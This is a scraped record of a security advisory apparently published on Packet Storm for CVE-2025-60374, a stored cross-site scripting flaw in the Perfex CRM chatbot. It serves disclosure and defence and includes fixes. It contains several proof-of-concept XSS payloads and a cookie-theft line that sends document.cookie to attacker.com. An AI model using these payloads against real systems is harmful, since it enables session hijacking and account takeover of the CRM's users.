{“lastseen”:”2025-10-10T19:45:23″,”description”:”Perfex…………………………………………”,”published”:”2025-10-10T00:00:00″,”modified”:”2025-10-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Perfex CRM Chatbot Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:210393″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-60374″],”sourceData”:”# CVE-2025-60374\\n CVE-2025-60374: Stored Cross-Site Scripting (XSS) in Perfex CRM Chatbot\\n \\n \\u003e **\u26a0\ufe0f Security Advisory** \\n \\u003e A critical Stored Cross-Site Scripting vulnerability in Perfex CRM’s chatbot feature\\n \\n [](https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-60374)\\n []()\\n [](https:\/\/cwe.mitre.org\/data\/definitions\/79.html)\\n \\n —\\n \\n ## \ud83d\udccb Overview\\n \\n A Stored Cross-Site Scripting (XSS) vulnerability has been discovered in Perfex CRM’s chatbot feature. This vulnerability allows attackers to inject malicious HTML and JavaScript code that gets stored on the server and executed in victims’ browsers when they view chat messages.\\n \\n ## \ud83c\udfaf Affected Versions\\n \\n – **Product:** Perfex CRM\\n – **Vendor:** Perfex CRM\\n – **Vulnerable Versions:** \\u003c 3.3.1\\n – **Fixed Version:** 3.3.1+\\n \\n ## \ud83d\udd0d Vulnerability Details\\n \\n | Attribute | Value |\\n |———–|——-|\\n | **CVE ID** | CVE-2025-60374 |\\n | **Type** | Stored Cross-Site Scripting (XSS) |\\n | **CWE** | [CWE-79](https:\/\/cwe.mitre.org\/data\/definitions\/79.html) |\\n | **Attack Vector** | Network\/Remote |\\n | **Authentication** | Required (Low Privilege) |\\n | **User Interaction** | None to Minimal |\\n | **Discoverer** | Ajansha Shankar |\\n \\n ### Description\\n \\n The chatbot’s message parameter in Perfex CRM lacks proper input sanitization and output encoding. When users submit messages through the chatbot interface, malicious HTML\/JavaScript payloads are stored in the database without adequate filtering and subsequently rendered without proper escaping, leading to code execution in other users’ browsers.\\n \\n ### Root Cause\\n \\n – \u274c Insufficient input validation on chatbot message parameter\\n – \u274c Missing output encoding when rendering stored messages\\n – \u274c Session cookies not marked as `HttpOnly`\\n – \u274c Lack of Content Security Policy (CSP)\\n \\n ## \ud83d\udca5 Impact\\n \\n ### Security Implications\\n \\n – **\ud83d\udd13 Session Hijacking:** Attackers can steal session tokens via `document.cookie` access\\n – **\ud83d\udc64 Account Takeover:** Complete compromise of victim accounts\\n – **\ud83c\udfad Privilege Escalation:** Administrator account compromise if admin views malicious message\\n – **\ud83d\udcca Data Exfiltration:** Access to sensitive information in user’s browser context\\n – **\ud83c\udfaa Phishing:** Ability to modify page content and redirect users\\n \\n ### CIA Triad Assessment\\n \\n | Factor | Impact | Explanation |\\n |——–|——–|————-|\\n | **Confidentiality** | \ud83d\udd34 HIGH | Session tokens and sensitive data can be stolen |\\n | **Integrity** | \ud83d\udd34 HIGH | Unauthorized actions can be performed as the victim |\\n | **Availability** | \ud83d\udfe1 LOW | Limited impact on system availability |\\n \\n ## \ud83e\uddea Proof of Concept\\n \\n ### PoC 1: Basic Image XSS\\n “`html\\n \\u003cimg src=x onerror=alert(‘XSS executed!’)\\u003e\\n “`\\n \\n ### PoC 2: Interactive Button XSS\\n “`html\\n \\u003cbutton onclick=alert(‘Click executed!’)\\u003eClick here\\u003c\/button\\u003e\\n “`\\n \\n ### PoC 3: Auto-playing Embedded Content\\n “`html\\n \\u003ciframe width=\\”560\\” height=\\”315\\” \\n src=\\”https:\/\/www.youtube.com\/embed\/6B2jvf81LxE?playlist=Gvq4d460C1M\\u0026autoplay=1\\” \\n frameborder=\\”0\\” allow=\\”accelerometer; autoplay; clipboard-write; \\n encrypted-media; gyroscope; picture-in-picture\\” allowfullscreen\\u003e\\n \\u003c\/iframe\\u003e\\n “`\\n \\n ### PoC 4: Event-based XSS\\n “`html\\n \\u003cmeter value=2 min=0 max=10 onmouseover=alert(‘XSS triggered!’)\\u003e\\n 2 out of 10\\n \\u003c\/meter\\u003e\\n “`\\n \\n ### Real-World Attack Scenario\\n \\n **Cookie Theft Example:**\\n “`javascript\\n \\u003cimg src=x onerror=\\”fetch(‘https:\/\/attacker.com\/steal?cookie=’+document.cookie)\\”\\u003e\\n “`\\n \\n This payload would send the victim’s session cookie to an attacker-controlled server, enabling complete account takeover.\\n \\n ## \ud83d\udee1\ufe0f Mitigation\\n \\n ### For End Users\\n \\n 1. **\u2705 Upgrade Immediately:** Update to Perfex CRM v3.3.1 or later\\n 2. **\ud83d\udd0d Audit Messages:** Review chatbot history for suspicious HTML\/JavaScript content\\n 3. **\ud83d\udd04 Reset Sessions:** Force all users to re-authenticate after patching\\n 4. **\ud83d\udcdd Monitor Logs:** Check for unusual chatbot activity\\n \\n ### For Developers\\n \\n #### Immediate Fixes\\n “`php\\n \/\/ Input Sanitization Example\\n $message = htmlspecialchars($input_message, ENT_QUOTES, ‘UTF-8’);\\n \\n \/\/ Output Encoding Example\\n echo htmlspecialchars($stored_message, ENT_QUOTES, ‘UTF-8’);\\n “`\\n \\n #### Long-term Security Improvements\\n \\n 1. **Content Security Policy (CSP)**\\n “`http\\n Content-Security-Policy: default-src ‘self’; script-src ‘self’; object-src ‘none’;\\n “`\\n \\n 2. **HttpOnly Cookies**\\n “`php\\n setcookie(‘session’, $value, [\\n ‘httponly’ =\\u003e true,\\n ‘secure’ =\\u003e true,\\n ‘samesite’ =\\u003e ‘Strict’\\n ]);\\n “`\\n \\n 3. **Input Validation Library**\\n “`php\\n \/\/ Use DOMPurify, HTML Purifier, or similar\\n $clean_html = $purifier-\\u003epurify($dirty_html);\\n “`\\n \\n ## \ud83d\udcda References\\n \\n – [CWE-79: Cross-site Scripting (XSS)](https:\/\/cwe.mitre.org\/data\/definitions\/79.html)\\n – [OWASP XSS Prevention Cheat Sheet](https:\/\/owasp.org\/www-community\/attacks\/xss\/)\\n – [CVE-2025-60374 Official Entry](https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-60374)\\n \\n \\n ## \ud83d\udc64 Credits\\n \\n **Discovered by:** Ajansha Shankar\\n \\n ## \ud83d\udce7 Contact\\n \\n For questions or additional information:\\n – **LinkedIn:** https:\/\/www.linkedin.com\/in\/ajansha-shankar\/”,”sourceHref”:”https:\/\/packetstorm.news\/download\/210393″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/210393\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-10T19:45:23″,”description”:”Perfex…………………………………………”,”published”:”2025-10-10T00:00:00″,”modified”:”2025-10-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Perfex CRM Chatbot Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:210393″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-60374″],”sourceData”:”# CVE-2025-60374\\n CVE-2025-60374: Stored Cross-Site Scripting (XSS) in Perfex CRM Chatbot\\n \\n \\u003e **\u26a0\ufe0f Security Advisory** \\n \\u003e A…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-21080","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n